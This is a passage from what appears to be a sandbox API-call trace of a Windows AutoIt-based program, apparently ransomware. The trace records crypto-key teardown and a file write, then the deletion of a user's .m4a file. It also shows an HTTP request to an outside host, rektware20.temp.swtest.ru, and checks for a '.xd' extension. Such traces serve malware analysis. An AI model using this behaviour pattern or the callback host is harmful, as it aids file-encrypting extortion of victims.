wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.267] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.267] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.268] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.268] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.268] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.268] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0064.268] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.268] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0064.268] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.268] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0064.268] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.268] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.268] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0064.268] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.269] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0064.269] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0064.274] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.274] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.274] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.274] WriteFile (in: hFile=0x2ac, lpBuffer=0x187d010*, nNumberOfBytesToWrite=0x13440, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x187d010*, lpNumberOfBytesWritten=0x130f01c*=0x13440, lpOverlapped=0x0) returned 1 [0064.276] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.276] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.276] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0064.276] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0064.276] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.276] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0064.276] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0064.276] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16215a0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0064.277] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0064.277] CryptDestroyKey (hKey=0x164c970) returned 1 [0064.277] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0064.277] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0064.277] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0064.277] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0064.277] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0064.277] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0064.277] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0064.277] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0064.277] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.277] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0064.277] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0064.277] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0064.277] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0064.277] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0064.278] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.278] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0064.278] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.278] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0064.278] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.278] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0064.278] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.278] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0064.278] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0064.278] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.278] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.278] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0064.278] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0064.278] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0064.278] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0064.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0064.278] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0064.278] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0064.278] CryptReleaseContext (hProv=0x17ab6e8, dwFlags=0x0) returned 1 [0064.278] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.279] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0064.279] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0064.279] FreeLibrary (hLibModule=0x74c60000) returned 1 [0064.279] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.279] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0064.279] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.279] CloseHandle (hObject=0x3bc) returned 1 [0064.281] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.282] CloseHandle (hObject=0x2ac) returned 1 [0064.293] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0064.296] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0064.296] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\kxxk0QB6FHxGhkKA.m4a", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\kxxk0QB6FHxGhkKA.m4a", lpFilePart=0x0) returned 0x3f [0064.296] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\kxxk0QB6FHxGhkKA.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\7r8kxljpjcayia\\kxxk0qb6fhxghkka.m4a")) returned 0x20 [0064.296] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\kxxk0QB6FHxGhkKA.m4a", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c630 [0064.296] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\kxxk0QB6FHxGhkKA.m4a" (normalized: "c:\\users\\ciihmnxmn6ps\\music\\7r8kxljpjcayia\\kxxk0qb6fhxghkka.m4a")) returned 1 [0064.298] FindNextFileW (in: hFindFile=0x164c630, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0064.299] FindClose (in: hFindFile=0x164c630 | out: hFindFile=0x164c630) returned 1 [0064.299] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0064.299] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0064.299] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0064.299] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0064.299] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\kybdOUg3-QGCuqM.m4a", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0064.299] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0064.299] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0064.299] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0064.300] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0064.300] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0064.300] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0064.300] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620dc0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620dc0, lpdwBufferLength=0x130ef8c) returned 1 [0064.300] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0064.300] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0064.300] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0064.301] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0064.301] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0064.301] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0064.301] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16291a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16291a0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0064.301] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629310, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629310*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0064.301] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0064.301] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0064.301] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0064.301] CloseHandle (hObject=0x0) returned 0 [0064.301] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\kybdOUg3-QGCuqM.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.301] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\kybdOUg3-QGCuqM.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.301] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\kybdOUg3-QGCuqM.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.302] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\kybdOUg3-QGCuqM.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.302] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\kybdOUg3-QGCuqM.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.302] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\kybdOUg3-QGCuqM.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.302] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\kybdOUg3-QGCuqM.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.302] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\kybdOUg3-QGCuqM.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.302] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\kybdOUg3-QGCuqM.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.302] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\kybdOUg3-QGCuqM.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.302] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\kybdOUg3-QGCuqM.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.302] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\kybdOUg3-QGCuqM.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.302] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Music\\7r8kXLJPjCaYia\\kybdOUg3-QGCuqM.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.302] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Music\\7r8kXLJPjCaYia\\kybdOUg3-QGCuqM.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.302] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Music\\7r8kXLJPjCaYia\\kybdOUg3-QGCuqM.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.302] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Music\\7r8kXLJPjCaYia\\kybdOUg3-QGCuqM.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.302] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Music\\7r8kXLJPjCaYia\\kybdOUg3-QGCuqM.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.302] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Music\\7r8kXLJPjCaYia\\kybdOUg3-QGCuqM.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.302] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Music\\7r8kXLJPjCaYia\\kybdOUg3-QGCuqM.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.302] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Music\\7r8kXLJPjCaYia\\kybdOUg3-QGCuqM.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.302] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Music\\7r8kXLJPjCaYia\\kybdOUg3-QGCuqM.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.302] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Music\\7r8kXLJPjCaYia\\kybdOUg3-QGCuqM.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.302] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Music\\7r8kXLJPjCaYia\\kybdOUg3-QGCuqM.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.302] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="usic\\7r8kXLJPjCaYia\\kybdOUg3-QGCuqM.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.302] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sic\\7r8kXLJPjCaYia\\kybdOUg3-QGCuqM.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.302] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ic\\7r8kXLJPjCaYia\\kybdOUg3-QGCuqM.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.302] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="c\\7r8kXLJPjCaYia\\kybdOUg3-QGCuqM.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.302] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\7r8kXLJPjCaYia\\kybdOUg3-QGCuqM.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.302] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7r8kXLJPjCaYia\\kybdOUg3-QGCuqM.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.302] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="r8kXLJPjCaYia\\kybdOUg3-QGCuqM.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.302] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8kXLJPjCaYia\\kybdOUg3-QGCuqM.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.302] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kXLJPjCaYia\\kybdOUg3-QGCuqM.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.303] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XLJPjCaYia\\kybdOUg3-QGCuqM.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.303] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LJPjCaYia\\kybdOUg3-QGCuqM.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.303] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="JPjCaYia\\kybdOUg3-QGCuqM.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.303] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PjCaYia\\kybdOUg3-QGCuqM.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.303] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jCaYia\\kybdOUg3-QGCuqM.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.303] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CaYia\\kybdOUg3-QGCuqM.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.303] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="aYia\\kybdOUg3-QGCuqM.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.303] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Yia\\kybdOUg3-QGCuqM.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.303] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ia\\kybdOUg3-QGCuqM.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.303] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="a\\kybdOUg3-QGCuqM.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.303] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\kybdOUg3-QGCuqM.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.303] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="kybdOUg3-QGCuqM.m4a", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0064.303] CompareStringW (Locale=0x400, dwCmpFlags=0x1, 